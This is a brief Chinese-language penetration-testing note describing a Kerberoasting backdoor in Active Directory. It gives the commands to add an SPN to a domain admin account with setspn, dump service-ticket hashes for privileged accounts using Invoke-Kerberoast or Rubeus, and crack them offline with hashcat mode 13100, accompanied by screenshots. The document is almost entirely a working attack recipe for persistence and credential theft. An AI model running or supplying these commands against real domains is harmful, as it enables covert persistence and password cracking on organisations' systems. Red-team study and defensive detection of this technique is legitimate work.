# Kerberoasting后门

```
当有setspn权限时，为域用户添加一个SPN
>setspn -U -A RDP/zone.com godadmin
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/549.png)

```
域内任何主机可以使用Kerberoast 获得TGS
https://github.com/malachitheninja/Invoke-Kerberoast
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/550.png)

```
>Invoke-Kerberoast -AdminCount -OutputFormat Hashcat | Select hash | ConvertTo-CSV -NoTypeInformation |Out-File xx.txt
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/551.png)

```
或使用rubeus.exe
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/552.png)

```
破解
>hashcat -m 13100 -a 0 kerberos.txt wordlist.txt
```


---

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